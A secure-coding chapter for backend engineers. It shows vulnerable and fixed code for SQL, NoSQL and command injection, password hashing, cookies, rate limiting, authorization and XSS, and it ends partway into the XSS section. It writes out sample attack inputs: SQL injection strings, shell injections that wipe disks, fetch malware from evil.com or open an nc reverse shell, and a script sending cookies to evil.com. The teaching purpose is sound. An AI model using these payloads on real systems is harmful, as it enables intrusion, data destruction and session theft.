A detailed backend reference
Security is not a feature you bolt on at the end, it is a mindset you carry into every line of code. This chapter covers the most impactful attack classes a backend engineer will encounter: injection attacks, broken authentication, broken authorization, XSS, CSRF, and misconfiguration, with the mental models and code to prevent all of them.
01
The Security Mindset: Think Like an Attacker
“Attackers don’t care about your framework or language. They only ask one question: where did the developer make an assumption?”
Every significant vulnerability in the history of software traces back to a developer assuming something that an attacker violated:
- Assuming the input coming from the user will be clean and well-formed.
- Assuming the user is who they claim to be.
- Assuming the request is coming from your own front end.
- Assuming nobody will open the browser’s network tab and modify parameters.
These assumptions feel reasonable under deadline pressure, you’re always thinking in the happy path. Attackers exploit the unhappy paths. They poke at every boundary, modify every input, and try to guess every assumption you made.
The Root Cause of Almost Every Attack
Your backend application speaks multiple languages simultaneously: SQL to the database, HTML/JS to the browser, shell commands to the OS. Each language has its own grammar, its own special characters, its own way of separating commands from data.
Injection attacks happen when user data (which lives in one language) bleeds into another language’s context and gets interpreted as a command rather than data. This single insight explains SQL injection, command injection, XSS, and more.
02
Vulnerability Overview
SQL Injection
User input bleeds into SQL query. Attacker can read all data, delete tables, or run OS commands via DB.
Command Injection
User input bleeds into a shell command. Attacker can run rm -rf / or install spyware on your server.
XSS
User content stored as HTML. Malicious script runs in other users’ browsers, steals sessions, redirects, phishes.
Broken Auth
Plain-text passwords, weak hashing, predictable session IDs, missing rate limits, attacker takes over accounts.
Broken AuthZ (BOLA/BFLA)
Auth check at routing layer but not at DB layer. User A reads User B’s invoices. Member accesses admin API.
CSRF / Misconfig
Cross-site form submissions trick server. Secrets in git, debug logs in production, wrong cookie flags.
03
SQL Injection
SQL injection has been the #1 most destructive vulnerability for decades. It works because developers build SQL queries by string concatenation: dropping raw user input directly into the query template.
The Attack: Step by Step
Consider a login query built by concatenation:
-- Template on server:
SELECT * FROM users WHERE email = '' + userInput + ''
-- Happy path (Alice logs in normally):
SELECT * FROM users WHERE email = 'alice@gmail.com'
-- Returns Alice's row
-- Attacker types: ' OR '1'='1 --
SELECT * FROM users WHERE email = '' OR '1'='1' --'
-- Returns ALL users <- data leak
-- Attacker types: '; DROP TABLE users; --
SELECT * FROM users WHERE email = ''; DROP TABLE users; --'
-- Deletes your entire users table
How Special SQL Characters Enable the Attack
| Character | Meaning in SQL | How Attacker Uses It |
|---|---|---|
' | String delimiter | Closes the existing string literal, escapes data context |
; | Statement separator | Ends the legitimate query; starts a new malicious one |
-- | Line comment | Comments out the rest of the original query (trailing ') |
OR | Logical operator | Creates an always-true condition to bypass WHERE filters |
UNION | Combines result sets | Extracts data from other tables (payments, secrets) |
The Fix: Parameterised Queries
Instead of building one string with everything mashed together, send two separate things to the database: (1) the query template with placeholder slots, (2) the user data as separate arguments. The database driver guarantees that whatever goes into a slot is treated as a pure string, never as executable SQL.
the value travels beside the query, never inside it
//NEVER, string concatenation
query := "SELECT * FROM users WHERE email = '" + userInput + "'"
// ALWAYS, parameterised ($1 is the slot)
row := db.QueryRow(ctx,
"SELECT id, name FROM users WHERE email = $1",
userInput, // passed separately, treated purely as data
)
// With an ORM (GORM), parameterised automatically
db.Where("email = ?", userInput).First(&user)# NEVER, f-string interpolation
query = f"SELECT * FROM users WHERE email = '{user_input}'"
# ALWAYS, parameterised (%s is the SLOT, not Python formatting)
cur.execute(
"SELECT id, name FROM users WHERE email = %s",
(user_input,), # a TUPLE; the driver escapes it, injection is impossible
)
# The trailing comma matters: ("x") is a string, ("x",) is a one-tuple.
# Forget it and psycopg raises, which is the good outcome.
# With an ORM (SQLAlchemy), parameterised automatically
session.query(User).filter(User.email == user_input).first()// NEVER, template literal. This is THE JavaScript version of the
// mistake, and it is four characters away from the safe line below.
const query = `SELECT * FROM users WHERE email = '${userInput}'`
// ALWAYS, parameterised ($1 is the slot, values go in the array)
const { rows } = await db.query(
'SELECT id, name FROM users WHERE email = $1',
[userInput], // passed separately, treated purely as data
)
// With an ORM (Prisma), parameterised automatically
await prisma.user.findFirst({ where: { email: userInput } })// TypeScript does not stop the injection on its own, and it is worth
// being clear about that: both lines below type-check perfectly.
const bad = `SELECT * FROM users WHERE email = '${userInput}'` // still a hole
// What it CAN do is make the safe path the only ergonomic one. A tagged
// template collects the interpolations as PARAMETERS rather than
// splicing them into the string, so the natural-looking syntax is the
// safe one. `sql` here is from a library such as postgres.js or slonik.
const rows = await sql<User[]>`
SELECT id, name FROM users WHERE email = ${userInput}
`
// -> sent as: SELECT id, name FROM users WHERE email = $1, [userInput]
// Plain pg, typed by the row shape rather than the query text:
const { rows } = await db.query<User>(
'SELECT id, name FROM users WHERE email = $1',
[userInput],
)// NEVER, string concatenation
String query = "SELECT * FROM users WHERE email = '" + userInput + "'";
// ALWAYS, parameterised (? is the slot)
Optional<User> user = db.sql("SELECT id, name FROM users WHERE email = ?")
.param(userInput) // passed separately, treated purely as data
.query(User.class)
.optional();
// JPA: a NAMED parameter, same rule
em.createQuery("SELECT u FROM User u WHERE u.email = :email", User.class)
.setParameter("email", userInput)
.getSingleResult();
// The Java-specific trap: String.format looks tidier than concatenation
// and is exactly as dangerous. There is no formatting that escapes SQL.
// String.format("SELECT * FROM users WHERE email = '%s'", userInput)Additional Hardening: Minimal DB Permissions
Even if a SQL injection succeeds, you can limit the blast radius. The database user your backend uses to connect should only have DML permissions (INSERT, UPDATE, DELETE, SELECT), never DDL permissions (DROP TABLE, CREATE TABLE, ALTER). A hacker who gets SQL injection can’t delete your tables if the DB user can’t execute DDL.
NoSQL Injection (MongoDB)
MongoDB queries are JSON objects, not SQL strings. But they support operators (prefixed with $) like $ne (not equal), $gt, $exists. If you pass raw user-supplied JSON directly to a query, an attacker can inject these operators:
//VULNERABLE: attacker sends {"$ne": null} as email
db.users.find({ email: req.body.email })
// Becomes: { email: { $ne: null } } -> returns ALL users
// FIX: validate that email is a plain string, not an object
if (typeof req.body.email !== 'string') {
return res.status(400).json({ error: 'Invalid email' })
}
db.users.find({ email: req.body.email })
04
Command Injection
Command injection is SQL injection at the OS level. Your backend sometimes needs to call external programs (image processing with FFmpeg, file compression, PDF generation). If you build the shell command by concatenating user input, an attacker can inject shell commands into your server.
The Attack
# User supplies the output filename. Attacker sends: "out.jpg; rm -rf /"
ffmpeg -i input.jpg -vf scale=800:600 out.jpg; rm -rf /
# ^ ffmpeg done ^ now this runs
# Attacker can also use:
# out.jpg && curl evil.com/malware.sh | bash (install backdoor)
# out.jpg & nc -e /bin/sh attacker.com 4444 & (reverse shell in background)
Shell special characters that enable this:
| Character | Shell Meaning | Attack Use |
|---|---|---|
; | Separate commands | Run second command after first |
&& | Run if previous succeeded | Chain exploit after legitimate command |
| | Pipe output | Feed output to destructive command |
& | Run in background | Install persistent spyware silently |
$() | Command substitution | Execute arbitrary command inline |
The Fix: Separate Command from Arguments
Every language provides functions that accept the command and arguments as separate parameters. These pass arguments directly to the process without going through a shell interpreter, so special characters are never interpreted.
the command and its arguments are separate values, so no shell parses them
import "os/exec"
//VULNERABLE, passes through shell interpreter
cmd := exec.Command("sh", "-c", "ffmpeg -i input.jpg -o "+userFilename)
// SAFE, command and each argument are separate params
// Shell never sees userFilename, it goes straight to the process
cmd := exec.Command(
"ffmpeg",
"-i", "input.jpg",
"-vf", "scale=800:600",
userFilename, // treated as a string argument, not shell code
)
output, err := cmd.Output()import subprocess
#VULNERABLE, shell=True sends everything through sh
subprocess.run(f"ffmpeg -i input.jpg -o {user_filename}", shell=True)
# SAFE, list form, shell=False (default)
subprocess.run([
"ffmpeg", "-i", "input.jpg",
"-vf", "scale=800:600",
user_filename # just a string, not interpreted
], check=True)import { execFile } from 'node:child_process'
import { promisify } from 'node:util'
// VULNERABLE: exec() runs the string through /bin/sh
import { exec } from 'node:child_process'
exec(`ffmpeg -i input.jpg -o ${userFilename}`)
// SAFE: execFile takes the program and an ARRAY of arguments.
// No shell is spawned, so ; && $() and friends have no meaning.
await promisify(execFile)('ffmpeg', [
'-i', 'input.jpg',
'-vf', 'scale=800:600',
userFilename, // treated as one argument, not shell code
])
// spawn() is the same rule. The one thing to never do is pass
// `{ shell: true }`, which puts the shell right back in the path.import { execFile } from 'node:child_process'
import { promisify } from 'node:util'
const run = promisify(execFile)
// Types cannot tell a safe string from a dangerous one, but they CAN
// make the shape of the safe call the only one available. A function
// that takes `args: string[]` simply has nowhere to put a shell string.
async function resize(inputPath: string, outputPath: string): Promise<void> {
await run('ffmpeg', [
'-i', inputPath,
'-vf', 'scale=800:600',
outputPath,
])
}
// Worth saying plainly: argument separation stops SHELL injection, not
// ARGUMENT injection. A filename beginning with "-" is still read by
// ffmpeg as a flag. Validate the value as well as passing it safely:
if (!/^[\w.-]+$/.test(userFilename) || userFilename.startsWith('-')) {
throw new Error('invalid filename')
}// VULNERABLE: the single-String form of Runtime.exec, and worse, any
// version that hands the string to a shell.
Runtime.getRuntime().exec("ffmpeg -i input.jpg -o " + userFilename);
// SAFE: ProcessBuilder takes the program and each argument separately.
// Java never invokes a shell here, so shell metacharacters are inert.
ProcessBuilder pb = new ProcessBuilder(
"ffmpeg",
"-i", "input.jpg",
"-vf", "scale=800:600",
userFilename // one argument, not shell code
);
pb.redirectErrorStream(true);
Process process = pb.start();
// Always consume the output stream and wait with a TIMEOUT. A process
// whose pipe buffer fills up blocks forever, and waitFor() with no
// timeout then hangs the calling thread for good.
String output = new String(process.getInputStream().readAllBytes());
if (!process.waitFor(30, TimeUnit.SECONDS)) {
process.destroyForcibly();
}05
Password Storage: The Three Evolutions
Databases get breached every day. When they do, how you stored passwords determines whether your users’ lives are destroyed or not.
Why Plain Text Fails
Every database breach exposes all passwords instantly. Worse: over 70% of users reuse passwords across sites, so one breach hands attackers the keys to email, banking, and social media accounts they didn’t even target.
Why Hashing Alone Isn’t Enough
Attackers pre-compute rainbow tables: massive lookup tables mapping common passwords (like “123456”, “password”, “qwerty”) to their hashes. If your hash matches a rainbow table entry, they reverse-lookup the plaintext instantly. A GPU can compute billions of SHA-256 hashes per second.
Salting: Defeating Rainbow Tables
A salt is a cryptographically random string generated uniquely for each user. You concatenate the salt with the password before hashing. Since each user’s salt is different, even two users with the same password produce completely different hashes. Rainbow tables become useless, they’d need a new table per user.
Slow Hashing: Defeating Brute Force
General-purpose hash functions (SHA-256, MD5) are designed to be fast. A GPU can do billions per second. Password hashing algorithms (bcrypt, scrypt, Argon2id) are deliberately slow via a configurable cost/work factor. At 400ms per hash:
- Legitimate user logging in: 400ms, imperceptible, totally fine.
- Attacker brute-forcing offline: 400ms per attempt -> ~2.5 attempts/second instead of billions -> cracking takes centuries.
a random salt per password, a deliberately slow hash, a constant-time compare
import (
"crypto/rand"
"golang.org/x/crypto/argon2"
"encoding/base64"
)
func HashPassword(password string) (string, error) {
// Generate cryptographically random 16-byte salt
salt := make([]byte, 16)
rand.Read(salt)
// Argon2id params: time=1, memory=64MB, threads=4, keyLen=32
hash := argon2.IDKey([]byte(password), salt, 1, 64*1024, 4, 32)
// Store: $argon2id$salt$hash (both needed to verify)
encoded := base64.RawStdEncoding.EncodeToString(salt) +
"$" + base64.RawStdEncoding.EncodeToString(hash)
return encoded, nil
}
func VerifyPassword(password, stored string) bool {
// Re-hash with stored salt, compare, never compare raw hashes with ==
parts := strings.Split(stored, "$")
salt, _ := base64.RawStdEncoding.DecodeString(parts[0])
newHash := argon2.IDKey([]byte(password), salt, 1, 64*1024, 4, 32)
return subtle.ConstantTimeCompare(newHash,
mustDecode(parts[1])) == 1
}from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError
# The library owns the parameters, the salt and the encoding. That is
# the point: every one of those is a chance to get it wrong by hand.
ph = PasswordHasher(
time_cost=1, # iterations
memory_cost=64*1024, # 64 MB
parallelism=4,
hash_len=32,
)
def hash_password(password: str) -> str:
# A random salt is generated internally and embedded in the output
# string, so there is nothing separate to store.
return ph.hash(password) # -> $argon2id$v=19$m=65536,t=1,p=4$...
def verify_password(password: str, stored: str) -> bool:
try:
ph.verify(stored, password) # constant-time internally
except VerifyMismatchError:
return False
# Bonus: if the stored hash used weaker parameters than today's
# settings, transparently upgrade it on successful login.
if ph.check_needs_rehash(stored):
save_new_hash(ph.hash(password))
return Trueimport { randomBytes, scrypt, timingSafeEqual } from 'node:crypto'
import { promisify } from 'node:util'
import argon2 from 'argon2'
// Argon2id, via the argon2 package. Salt, parameters and encoding are
// all handled for you and embedded in the returned string.
export async function hashPassword(password) {
return argon2.hash(password, {
type: argon2.argon2id,
timeCost: 1,
memoryCost: 64 * 1024, // 64 MB
parallelism: 4,
})
}
export async function verifyPassword(password, stored) {
// Constant-time internally; never compare hashes with ===
return argon2.verify(stored, password)
}
// If you cannot add a dependency, scrypt is in the standard library and
// is an acceptable second choice. bcrypt is the third. What is NOT
// acceptable is any general-purpose hash, crypto.createHash('sha256')
// is fast by design, which is precisely the wrong property here.import argon2 from 'argon2'
// A branded type is a small trick with a real payoff: a PasswordHash is
// no longer interchangeable with any other string, so a function that
// stores hashes cannot be handed a plaintext password by accident, and
// a log statement that takes a `string` will not silently accept one.
type PasswordHash = string & { readonly __brand: 'PasswordHash' }
const OPTIONS = {
type: argon2.argon2id,
timeCost: 1,
memoryCost: 64 * 1024, // 64 MB
parallelism: 4,
} as const
export async function hashPassword(password: string): Promise<PasswordHash> {
return (await argon2.hash(password, OPTIONS)) as PasswordHash
}
export async function verifyPassword(
password: string,
stored: PasswordHash,
): Promise<boolean> {
try {
return await argon2.verify(stored, password) // constant-time internally
} catch {
return false // a malformed stored hash must not throw into the handler
}
}// Spring Security ships the encoder, and using it rather than calling a
// hashing library directly buys one specific thing: DelegatingPasswordEncoder
// prefixes each hash with the algorithm that produced it, so you can
// migrate from bcrypt to Argon2 without a flag day.
@Bean
PasswordEncoder passwordEncoder() {
// saltLength=16, hashLength=32, parallelism=4, memory=64MB, iterations=1
return new Argon2PasswordEncoder(16, 32, 4, 64 * 1024, 1);
}
@Service
public class PasswordService {
private final PasswordEncoder encoder;
public String hashPassword(String password) {
// The random salt is generated internally and embedded in the output
return encoder.encode(password);
}
public boolean verifyPassword(String password, String stored) {
// Constant-time internally; never use String.equals on hashes,
// it short-circuits on the first differing byte and leaks timing.
return encoder.matches(password, stored);
}
}
// Argon2PasswordEncoder needs BouncyCastle on the classpath:
// implementation 'org.bouncycastle:bcprov-jdk18on'06
Sessions, Cookies & the Critical Flags
After a user authenticates, you need to remember them across requests. This is done via a session: a random identifier stored server-side, linked to the user’s data, sent to the browser as a cookie.
The Session Flow
- User submits email + password.
- Server verifies password (argon2id hash match).
- Server generates a cryptographically random 128-256 bit session ID.
- Server stores the session ID in Redis/DB with user metadata (user ID, IP, user-agent, expiry, created_at).
- Server sends the session ID to browser in a cookie with strict security flags.
- Every subsequent request: browser sends cookie -> server looks up session ID -> identifies user.
The Three Critical Cookie Flags
| Flag | Value | What It Does | Without It |
|---|---|---|---|
| HttpOnly | true | JS cannot read this cookie | XSS steals session ID via document.cookie |
| Secure | true | Cookie only sent over HTTPS | Session stolen by Wi-Fi eavesdropper or Wireshark |
| SameSite | Strict or Lax | Cookie not sent in cross-origin requests | CSRF attacks can use your cookie from evil.com |
HttpOnly, Secure, SameSite: three flags, three whole attack classes
http.SetCookie(w, &http.Cookie{
Name: "session_id",
Value: sessionID,
HttpOnly: true, // JS cannot access
Secure: true, // HTTPS only
SameSite: http.SameSiteStrictMode, // no cross-site
MaxAge: 7 * 24 * 3600, // 7 days
Path: "/",
})response.set_cookie(
key="session_id",
value=session_id,
httponly=True, # JS cannot access
secure=True, # HTTPS only
samesite="strict", # no cross-site
max_age=7 * 24 * 3600, # 7 days
path="/",
)res.cookie('session_id', sessionId, {
httpOnly: true, // JS cannot access
secure: true, // HTTPS only
sameSite: 'strict', // no cross-site
maxAge: 7 * 24 * 3600 * 1000, // 7 days, in MILLISECONDS here
path: '/',
})
// Two Express-specific traps:
// 1. maxAge is milliseconds, unlike the Set-Cookie header's seconds.
// Copying 604800 across gives you a ten-minute session.
// 2. `secure: true` behind a reverse proxy needs app.set('trust proxy', 1),
// or Express sees plain HTTP and silently refuses to set the cookie.import type { CookieOptions, Response } from 'express'
// Defining the options ONCE, as a typed constant, is the point. Cookie
// flags are set in several places (login, refresh, logout) and the one
// that quietly omits `httpOnly` is the one that gets exploited.
const SESSION_COOKIE: CookieOptions = {
httpOnly: true, // JS cannot access, so an XSS cannot steal it
secure: true, // HTTPS only, so it cannot leak in cleartext
sameSite: 'strict', // no cross-site, which is most of CSRF gone
maxAge: 7 * 24 * 3600 * 1000, // 7 days, in milliseconds
path: '/',
}
export function setSession(res: Response, sessionId: string): void {
res.cookie('session_id', sessionId, SESSION_COOKIE)
}
// Clearing must repeat the SAME path and flags, or the browser treats
// it as a different cookie and the old one survives the logout.
export function clearSession(res: Response): void {
res.clearCookie('session_id', { ...SESSION_COOKIE, maxAge: undefined })
}ResponseCookie cookie = ResponseCookie.from("session_id", sessionId)
.httpOnly(true) // JS cannot access
.secure(true) // HTTPS only
.sameSite("Strict") // no cross-site
.maxAge(Duration.ofDays(7))
.path("/")
.build();
response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());
// Use ResponseCookie, not the older javax/jakarta Cookie class: that one
// has no SameSite setter at all, so code using it silently ships without
// the flag that does most of the CSRF work.
// With Spring Session the same thing is configuration rather than code:
// server.servlet.session.cookie:
// http-only: true
// secure: true
// same-site: strict
// max-age: 7d07
JWT: Stateless Authentication
A JWT (JSON Web Token) is an alternative to server-side sessions. Instead of storing session data in the DB and sending only an ID to the client, the JWT contains the session data, signed cryptographically so it cannot be tampered with.
JWT Structure
JWT vs Sessions: When to Use Which
Sessions (Stateful) Preferred
- Instant revocation, delete the session row
- No data exposed to client
- Simpler architecture for most SaaS
- Scalable with Redis (shared session store)
- Recommended by most security experts
JWT (Stateless)
- No DB lookup per request (faster at scale)
- Revocation is hard, blacklist or short expiry needed
- If account compromised, can’t force logout immediately
- Workarounds: short expiry (5-10min) + refresh tokens
- Use only if stateless is a hard requirement
If You Must Use JWT: Best Practices
- Short access token expiry: 5-15 minutes. Long-lived tokens are stolen tokens that never expire.
- Refresh token rotation: issue a new access + refresh token pair on each refresh. Stored server-side.
- HttpOnly cookie storage: not localStorage. XSS cannot steal what JS cannot read.
- Strong secret: >=256-bit random secret for HMAC signing. Rotate it periodically.
- Verify on every request: don’t trust a JWT just because it’s well-formed. Always verify the signature.
08
Rate Limiting Authentication Endpoints
Without rate limiting, an attacker can send millions of login attempts per second, either to brute-force passwords or to take down your server (DoS). Rate limiting is mandatory on all auth endpoints.
Three Layers of Rate Limiting
a token bucket per IP, checked before the handler runs
import (
"golang.org/x/time/rate"
"sync"
"net/http"
)
var (
mu sync.Mutex
limiters = map[string]*rate.Limiter{}
)
// Per-IP limiter: 5 requests per second, burst of 10
func getIPLimiter(ip string) *rate.Limiter {
mu.Lock()
defer mu.Unlock()
l, ok := limiters[ip]
if !ok {
l = rate.NewLimiter(5, 10)
limiters[ip] = l
}
return l
}
func RateLimitMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
ip := r.RemoteAddr
if !getIPLimiter(ip).Allow() {
http.Error(w, "too many requests", http.StatusTooManyRequests)
return
}
next.ServeHTTP(w, r)
})
}from slowapi import Limiter, _rate_limit_exceeded_handler
from slowapi.errors import RateLimitExceeded
from slowapi.util import get_remote_address
limiter = Limiter(key_func=get_remote_address)
app.state.limiter = limiter
app.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler)
# The strictest limit belongs on the endpoints an attacker actually
# targets: login, password reset, signup. A global limit generous enough
# for browsing is far too generous for credential stuffing.
@app.post("/login")
@limiter.limit("5/minute")
async def login(request: Request, body: LoginRequest):
...
# For a multi-instance deployment, back it with Redis so the limit is
# shared rather than per-process:
# Limiter(key_func=get_remote_address, storage_uri="redis://localhost:6379")import rateLimit from 'express-rate-limit'
import RedisStore from 'rate-limit-redis'
const loginLimiter = rateLimit({
windowMs: 60_000, // 1 minute
limit: 5, // 5 attempts per IP per window
standardHeaders: 'draft-7', // RateLimit-* response headers
legacyHeaders: false,
// Without a shared store this is PER PROCESS: five instances means
// five times the limit, and an attacker only has to be unlucky once.
store: new RedisStore({ sendCommand: (...args) => redis.sendCommand(args) }),
})
app.post('/login', loginLimiter, loginHandler)
// Behind a proxy, set app.set('trust proxy', 1) so req.ip is the real
// client and not the load balancer, otherwise every request shares one
// bucket and the limiter takes your whole site down instead.import rateLimit, { type Options } from 'express-rate-limit'
// Three tiers, declared as data. The reason to write it this way is that
// the numbers become reviewable in one place: it is very easy to protect
// /login carefully and leave /password-reset on the global limit.
const TIERS = {
global: { windowMs: 60_000, limit: 100 },
auth: { windowMs: 60_000, limit: 5 },
expensive: { windowMs: 60_000, limit: 10 },
} as const satisfies Record<string, Pick<Options, 'windowMs' | 'limit'>>
function limiter(tier: keyof typeof TIERS) {
return rateLimit({
...TIERS[tier],
standardHeaders: 'draft-7',
legacyHeaders: false,
store: new RedisStore({ sendCommand: (...a: string[]) => redis.sendCommand(a) }),
// Key by ACCOUNT as well as IP on auth routes. An attacker spraying
// one password across many accounts from many IPs defeats a pure
// per-IP limit entirely, which is how credential stuffing works.
keyGenerator: (req) =>
tier === 'auth' ? `${req.ip}:${String(req.body?.email ?? '')}` : (req.ip ?? 'unknown'),
})
}
app.use(limiter('global'))
app.post('/login', limiter('auth'), loginHandler)
app.post('/password-reset', limiter('auth'), resetHandler)// Bucket4j is a token bucket, the same algorithm as the Go tab, and it
// has a Redis-backed mode so the limit is shared across instances.
@Component
public class RateLimitFilter extends OncePerRequestFilter {
private final Map<String, Bucket> buckets = new ConcurrentHashMap<>();
// Per-IP: 5 requests per second, burst of 10
private Bucket newBucket() {
return Bucket.builder()
.addLimit(limit -> limit.capacity(10).refillGreedy(5, Duration.ofSeconds(1)))
.build();
}
@Override
protected void doFilterInternal(HttpServletRequest req, HttpServletResponse res,
FilterChain chain)
throws ServletException, IOException {
String ip = clientIp(req);
Bucket bucket = buckets.computeIfAbsent(ip, k -> newBucket());
if (!bucket.tryConsume(1)) {
res.setHeader("Retry-After", "1");
res.sendError(429, "too many requests");
return; // the controller never runs
}
chain.doFilter(req, res);
}
}
// The in-memory map above has the same flaw the Go tab does, and it is
// worth naming: nothing ever removes entries, so it grows with every
// distinct IP until the process runs out of heap. Use an eviction cache
// (Caffeine with expireAfterAccess) or a Redis-backed proxy manager.09
Authorization Vulnerabilities: BOLA & BFLA
“Authentication tells you who the user is. Authorization tells you what they’re allowed to do. Most engineers get authentication right and authorization wrong.”
The Core Mistake
Authorization is checked at the routing layer (middleware). Engineers then assume: “the user passed auth, so they can access anything from here.” This creates a dangerous false sense of security.
(1) BOLA: Broken Object Level Authorization
(Also called IDOR, Insecure Direct Object Reference)
User A can access, modify, or delete the resources of User B by guessing or iterating their IDs.
--VULNERABLE: fetches invoice 5 regardless of who is asking
SELECT * FROM invoices WHERE id = $1
-- FIXED: also requires the invoice to belong to the requesting user
SELECT * FROM invoices
WHERE id = $1
AND user_id = $2 -- $2 comes from the verified session/JWT, not user input
-- If no row: return 404 (not 403)
-- Why 404? A 403 CONFIRMS the resource exists -> information leak
-- A 404 gives the attacker no information -> is it missing, or forbidden?
(2) BFLA: Broken Function Level Authorization
A regular user accesses admin-only endpoints because role checks are missing at the routing layer. Believing “nobody knows the /admin URL” is security through obscurity: which is not security at all.
the check lives in middleware, so no handler can forget it
func RequireRole(role string) func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
user, ok := r.Context().Value("user").(User)
if !ok || user.Role != role {
http.Error(w, "forbidden", http.StatusForbidden)
return
}
next.ServeHTTP(w, r)
})
}
}
// Router setup
r.With(RequireAuth, RequireRole("admin")).
Get("/admin/invoices", adminInvoicesHandler)from fastapi import Depends, HTTPException
def require_role(role: str):
def checker(user: User = Depends(get_current_user)) -> User:
if user.role != role:
raise HTTPException(403, "forbidden")
return user
return checker
# Router setup: the dependency runs BEFORE the handler body
@app.get("/admin/invoices")
async def admin_invoices(user: User = Depends(require_role("admin"))):
return await fetch_all_invoices()export function requireRole(role) {
return (req, res, next) => {
const user = req.context?.user
if (!user || user.role !== role) {
return res.status(403).send('forbidden') // short-circuit
}
next()
}
}
// Router setup
app.get('/admin/invoices', requireAuth, requireRole('admin'), adminInvoicesHandler)
// The failure mode to design against is not a broken check, it is a
// MISSING one: a new admin route added next month without the
// middleware. Mounting the guard on the router rather than per route
// makes forgetting it structurally impossible:
// const admin = Router()
// admin.use(requireAuth, requireRole('admin'))
// admin.get('/invoices', adminInvoicesHandler)
// app.use('/admin', admin)import { Router, type NextFunction, type Request, type Response } from 'express'
type Role = 'admin' | 'user'
// A union rather than `string` means requireRole('admni') does not
// compile. A typo in a role name otherwise fails OPEN in the worst way:
// nobody matches, so nobody gets in, until someone "fixes" it by
// loosening the check.
export function requireRole(role: Role) {
return (req: Request, res: Response, next: NextFunction): void => {
const user = req.context?.user
if (!user || user.role !== role) {
res.status(403).send('forbidden')
return
}
next()
}
}
// Mount the guard on the ROUTER, so every route under /admin inherits
// it and a future route cannot be added without one.
const admin = Router()
admin.use(requireAuth, requireRole('admin'))
admin.get('/invoices', adminInvoicesHandler)
app.use('/admin', admin)// Spring Security expresses this as an annotation on the method, checked
// by a proxy before the body runs.
@Configuration
@EnableMethodSecurity
class SecurityConfig { }
@RestController
class AdminController {
@PreAuthorize("hasRole('ADMIN')")
@GetMapping("/admin/invoices")
List<Invoice> adminInvoices() {
return invoiceService.findAll();
}
}
// Better still, put it in the filter chain so the rule covers the whole
// URL space rather than one method at a time. A route added later under
// /admin/** is then protected the moment it exists:
@Bean
SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
return http
.authorizeHttpRequests(auth -> auth
.requestMatchers("/admin/**").hasRole("ADMIN")
.requestMatchers("/login", "/signup").permitAll()
.anyRequest().authenticated()) // deny by default, always
.build();
}
// `.anyRequest().authenticated()` is the line that matters most: it
// makes the policy deny-by-default, so forgetting a rule for a new
// endpoint locks it down rather than exposing it.The Horizontal vs Vertical Mental Model
Horizontal Attack (BOLA)
- User A reads/edits User B’s resources
- Scope widens across users
- Fix: add
AND user_id = $ctx_userto every query - Return 404, not 403
Vertical Attack (BFLA)
- Regular user accesses admin functions
- Scope elevates up privilege levels
- Fix: role middleware on every sensitive route
- Default-deny: deny anything not explicitly allowed
Use UUIDs, Not Sequential IDs, in URLs
Sequential IDs (/invoices/101, /invoices/102) let attackers enumerate all resources. A UUID like /invoices/f47ac10b-58cc-4372-a567-0e02b2c3d479 is effectively unguessable, 2^122 possible values. Use UUIDs as primary keys in any table whose records are exposed in URLs.
10
Cross-Site Scripting (XSS)
XSS occurs when an attacker’s JavaScript executes in another user’s browser, in the context of your platform. It’s injection, but the target is the browser’s HTML/JS engine instead of the database.
Why XSS Is Dangerous
JavaScript running in your platform’s context can:
- Read all
document.cookie(session tokens not protected by HttpOnly). - Read
localStorage(JWT tokens, API keys). - Make API requests as the logged-in user (impersonation).
- Redirect users to phishing pages to steal credentials.
- Alter page content to deceive the user (fake login forms, fake alerts).
Stored XSS: The Most Dangerous Type
A user submits a comment/post containing a <script> tag. Your server stores it. Every user who views that post has the script execute in their browser.
<!-- Attacker submits this as a "comment" -->
<script>
// Steal session cookie and send to attacker's server
fetch('https://evil.com/steal?c=' + document.cookie);
// Or silently redirect to phishing page
window.location = 'https://evil.com/fake-login';
</script>
<!-- This script is stored in your DB and injected into every user's browser -->
Prevention: Sanitise Before Storing
Before storing any user-provided HTML/markdown, strip dangerous tags and attributes. Use a battle-tested library; never write your own sanitiser.
an allow-list of tags, never a block-list of dangerous ones
import "github.com/microcosm-cc/bluemonday"
// Build the policy ONCE at startup, not per request: compiling it is
// the expensive part and the policy is safe to share.
var commentPolicy = func() *bluemonday.Policy {
p := bluemonday.NewPolicy()
p.AllowElements("p", "b", "i", "em", "strong", "ul", "ol", "li")
p.AllowAttrs("href").OnElements("a")
// Without this, href="javascript:..." survives the tag allow-list
// and you have an XSS through a link.
p.RequireParseableURLs(true)
p.AllowURLSchemes("http", "https", "mailto")
return p
}()
func SanitiseComment(rawHTML string) string {
return commentPolicy.Sanitize(rawHTML)
}
// bluemonday.UGCPolicy() is a ready-made policy for user-generated
// content and is a reasonable default if you do not want to enumerate.import bleach
ALLOWED_TAGS = ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li']
ALLOWED_ATTRS = {'a': ['href']}
def sanitise_comment(raw_html: str) -> str:
# Strip ALL tags not in allow-list, strip dangerous attributes
return bleach.clean(
raw_html,
tags=ALLOWED_TAGS,
attributes=ALLOWED_ATTRS,
strip=True # strip disallowed, don't escape
)
# <script>...</script> -> stripped entirely
# <b>bold</b> -> kept
# <img onerror="..."> -> attribute strippedimport createDOMPurify from 'dompurify'
import { JSDOM } from 'jsdom'
// DOMPurify needs a DOM. On the server, JSDOM provides one.
const DOMPurify = createDOMPurify(new JSDOM('').window)
const ALLOWED_TAGS = ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li']
const ALLOWED_ATTR = ['href']
export function sanitiseComment(rawHtml) {
return DOMPurify.sanitize(rawHtml, { ALLOWED_TAGS, ALLOWED_ATTR })
}
// Do NOT write your own with a regex. HTML parsing is adversarial:
// <img src=x onerror=alert(1)>, <svg/onload=...>, malformed tags that
// browsers helpfully repair into working script. Every hand-rolled
// "strip tags" function in history has been bypassed.import createDOMPurify from 'dompurify'
import { JSDOM } from 'jsdom'
const DOMPurify = createDOMPurify(new JSDOM('').window)
// A branded type again, and here it earns its keep more than anywhere
// else in this chapter: SafeHtml can only be produced by the sanitiser,
// so a template that renders raw HTML can demand one and the compiler
// will refuse any string that has not been through it.
